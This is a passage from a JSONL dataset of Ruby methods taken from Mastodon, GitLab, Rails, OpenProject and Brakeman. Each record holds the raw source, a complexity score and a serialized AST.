\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored_path\"]}]}]}]}]},null]}]}]}","id":"f6c37f7b-e139-4e5d-8ce4-1c9e8ad12a29"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/user.rb","start_line":215,"raw_source":"def update_sign_in!(new_sign_in: false)\n    new_current = Time.now.utc\n    self.last_sign_in_at     = current_sign_in_at || new_current\n    self.current_sign_in_at  = new_current\n\n    increment(:sign_in_count) if new_sign_in\n\n    save(validate: false) unless new_record?\n    prepare_returning_user!\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sign_in!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"new_sign_in\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_current\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_sign_in_at=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_sign_in_at\"]},{\"type\":\"lvar\",\"children\":[\"new_current\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_sign_in_at=\",{\"type\":\"lvar\",\"children\":[\"new_current\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_sign_in\"]},{\"type\":\"send\",\"children\":[null,\"increment\",{\"type\":\"sym\",\"children\":[\"sign_in_count\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},null,{\"type\":\"send\",\"children\":[null,\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"prepare_returning_user!\"]}]}]}","id":"bf146196-7416-4eb7-ace8-cfd31acc182e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/cobertura_splitter.rb","start_line":65,"raw_source":"def create_xml_builder(package_chunk)\n    lines_covered, lines_valid = calculate_totals(package_chunk)\n    line_rate = lines_valid > 0 ? (lines_covered.to_f / lines_valid).round(2) : 0.0\n\n    Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n      xml.doc.create_internal_subset('coverage', nil, 'http://cobertura.sourceforge.net/xml/coverage-04.dtd')\n\n      original_attrs = @doc.root.attributes.transform_values(&:value)\n      attrs = original_attrs.merge(\n        'lines-covered' => lines_covered.to_s,\n        'lines-valid' => lines_valid.to_s,\n        'line-rate' => line_rate.to_s\n      )\n\n      xml.coverage(attrs) do\n        xml.sources do\n          @doc.xpath('//source').each { |source| xml.source source.text }\n        end\n        xml.packages do\n          package_chunk.each { |package| xml << package.to_xml }\n        end\n      end\n    end\n  end","complexity_score":51.73,"ast_json":"{\"type\":\"def\",\"children\":[\"create_xml_builder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lines_covered\"]},{\"type\":\"lvasgn\",\"children\":[\"lines_valid\"]}]},{\"type\":\"send\",\"children\":[null,\"calculate_totals\",{\"type\":\"lvar\",\"children\":[\"package_chunk\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"line_rate\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines_valid\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines_covered\"]},\"to_f\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"lines_valid\"]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"float\",\"children\":[0.0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\"]},\"Builder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xml\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"doc\"]},\"create_internal_subset\",{\"type\":\"str\",\"children\":[\"coverage\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"http://cobertura.sourceforge.net/xml/coverage-04.dtd\"]}]},{\"type\":\"lvasgn\",\"children\":[\"original_attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@doc\"]},\"root\"]},\"attributes\"]},\"transform_values\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_attrs\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"lines-covered\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines_covered\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"lines-valid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines_valid\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"line-rate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_rate\"]},\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"coverage\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"sources\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//source\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"text\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"packages\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_chunk\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"to_xml\"]}]}]}]}]}]}]}]}]}]}","id":"9231887b-cf86-4188-a263-e62ffc84b364"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":670,"raw_source":"def test_belongs_to_with_primary_key_counter\n    debate  = Topic.create(\"title\" => \"debate\")\n    debate2 = Topic.create(\"title\" => \"debate2\")\n    reply   = Reply.create(\"title\" => \"blah!\", \"content\" => \"world around!\", \"parent_title\" => \"debate2\")\n\n    assert_equal 0, debate.reload.replies_count\n    assert_equal 1, debate2.reload.replies_count\n\n    reply.parent_title = \"debate\"\n    reply.save!\n\n    assert_equal 1, debate.reload.replies_count\n    assert_equal 0, debate2.reload.replies_count\n\n    assert_no_queries do\n      reply.topic_with_primary_key = debate\n    end\n\n    assert_equal 1, debate.reload.replies_count\n    assert_equal 0, debate2.reload.replies_count\n\n    reply.topic_with_primary_key = debate2\n    reply.save!\n\n    assert_equal 0, debate.reload.replies_count\n    assert_equal 1, debate2.reload.replies_count\n\n    reply.topic_with_primary_key = nil\n    reply.save!\n\n    assert_equal 0, debate.reload.replies_count\n    assert_equal 0, debate2.reload.replies_count\n  end","complexity_score":52.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_belongs_to_with_primary_key_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"debate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"debate\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"debate2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"debate2\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reply\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reply\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"blah!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"world around!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"parent_title\"]},{\"type\":\"str\",\"children\":[\"debate2\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate2\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"parent_title=\",{\"type\":\"str\",\"children\":[\"debate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate2\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"topic_with_primary_key=\",{\"type\":\"lvar\",\"children\":[\"debate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate2\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"topic_with_primary_key=\",{\"type\":\"lvar\",\"children\":[\"debate2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate2\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"topic_with_primary_key=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate\"]},\"reload\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debate2\"]},\"reload\"]},\"replies_count\"]}]}]}]}","id":"b789eb24-35dc-4e57-9382-cfb8675e90d9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service.rb","start_line":330,"raw_source":"def shift_dates_to_soonest_working_days\n    return if work_package.ignore_non_working_days?\n\n    work_package.start_date = days.soonest_working_day(work_package.start_date)\n    work_package.due_date = days.soonest_working_day(work_package.due_date)\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"shift_dates_to_soonest_working_days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"ignore_non_working_days?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"start_date=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"days\"]},\"soonest_working_day\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"start_date\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"due_date=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"days\"]},\"soonest_working_day\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"due_date\"]}]}]}]}]}","id":"8ef3d335-3f57-46fd-9238-0675e72b1013"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20180528141303_fix_accounts_unique_index.rb","start_line":91,"raw_source":"def merge_accounts!(main_account, duplicate_account)\n    [Status, Mention, StatusPin, StreamEntry].each do |klass|\n      klass.where(account_id: duplicate_account.id).in_batches.update_all(account_id: main_account.id)\n    end\n\n    # Since it's the same remote resource, the remote resource likely\n    # already believes we are following/blocking, so it's safe to\n    # re-attribute the relationships too. However, during the presence\n    # of the index bug users could have *also* followed the reference\n    # account already, therefore mass update will not work and we need\n    # to check for (and skip past) uniqueness errors\n    [Favourite, Follow, FollowRequest, Block, Mute].each do |klass|\n      klass.where(account_id: duplicate_account.id).find_each do |record|\n        record.update_attribute(:account_id, main_account.id)\n      rescue ActiveRecord::RecordNotUnique\n        next\n      end\n    end\n\n    [Follow, FollowRequest, Block, Mute].each do |klass|\n      klass.where(target_account_id: duplicate_account.id).find_each do |record|\n        record.update_attribute(:target_account_id, main_account.id)\n      rescue ActiveRecord::RecordNotUnique\n        next\n      end\n    end\n  end","complexity_score":30.9,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_accounts!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"main_account\"]},{\"type\":\"arg\",\"children\":[\"duplicate_account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},{\"type\":\"const\",\"children\":[null,\"Mention\"]},{\"type\":\"const\",\"children\":[null,\"StatusPin\"]},{\"type\":\"const\",\"children\":[null,\"StreamEntry\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate_account\"]},\"id\"]}]}]}]},\"in_batches\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_account\"]},\"id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Favourite\"]},{\"type\":\"const\",\"children\":[null,\"Follow\"]},{\"type\":\"const\",\"children\":[null,\"FollowRequest\"]},{\"type\":\"const\",\"children\":[null,\"Block\"]},{\"type\":\"const\",\"children\":[null,\"Mute\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate_account\"]},\"id\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_account\"]},\"id\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follow\"]},{\"type\":\"const\",\"children\":[null,\"FollowRequest\"]},{\"type\":\"const\",\"children\":[null,\"Block\"]},{\"type\":\"const\",\"children\":[null,\"Mute\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate_account\"]},\"id\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"target_account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_account\"]},\"id\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},null,{\"type\":\"next\",\"children\":[]}]},null]}]}]}]}]}","id":"39794b12-31c5-4cc1-82ec-e83a8731fd3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/kubernetes_cluster.rb","start_line":103,"raw_source":"def fetch_kas_address\n        api_client = Runtime::User::Store.user_api_client\n\n        Support::Retrier.retry_until do\n          response = get(Runtime::API::Request.new(api_client, '/metadata').url)\n          body = parse_body(response)\n\n          body.dig(:kas, :externalUrl) || raise(\"Failed to fetch KAS address from #{body}\")\n        end\n      end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_kas_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"User\"]},\"Store\"]},\"user_api_client\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_until\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"api_client\"]},{\"type\":\"str\",\"children\":[\"/metadata\"]}]},\"url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"kas\"]},{\"type\":\"sym\",\"children\":[\"externalUrl\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to fetch KAS address from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}]}]}]}]}]}","id":"bfd42f4a-d1f0-47fc-9a47-872f4f6c1ce8"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/parsers/rails2_xss_plugin_erubis.rb","start_line":37,"raw_source":"def add_expr_literal(src, code)\n    if code =~ BLOCK_EXPR\n      src << \"@output_buffer.safe_concat((\" << $1 << \").to_s);\"\n    else\n      src << '@output_buffer << ((' << code << ').to_s);'\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_expr_literal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"BLOCK_EXPR\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"str\",\"children\":[\"@output_buffer.safe_concat((\"]}]},\"<<\",{\"type\":\"nth_ref\",\"children\":[1]}]},\"<<\",{\"type\":\"str\",\"children\":[\").to_s);\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"str\",\"children\":[\"@output_buffer << ((\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"code\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\").to_s);\"]}]}]}]}","id":"b24c05ac-059a-49b4-91a7-e4abf09e0783"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/differ.rb","start_line":20,"raw_source":"def assert_new expected, diff = @diff\n    assert_equal expected, diff[:new].length, \"Expected #{expected} new warnings, but found #{diff[:new].length}\"\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected\"]},{\"type\":\"optarg\",\"children\":[\"diff\",{\"type\":\"ivar\",\"children\":[\"@diff\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"length\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"str\",\"children\":[\" new warnings, but found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"length\"]}]}]}]}]}","id":"84cd39dd-6964-4445-a9e5-dc22d9a33960"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/finders/concerns/finder_methods_spec.rb","start_line":14,"raw_source":"def execute\n        Project.where.not(name: 'foo').order(id: :desc)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}","id":"08b1918d-3c06-4900-acf1-e36faa1b697c"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":210,"raw_source":"def test_assert_enqueued_job_with_priority_option\n      assert_enqueued_with(job: HelloJob, priority: 10) do\n        HelloJob.set(priority: 10).perform_later\n      end\n\n      assert_raise ActiveSupport::TestCase::Assertion do\n        assert_enqueued_with(job: HelloJob, priority: 10) do\n          HelloJob.set(priority: 5).perform_later\n        end\n      end\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_job_with_priority_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},\"perform_later\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"args\",\"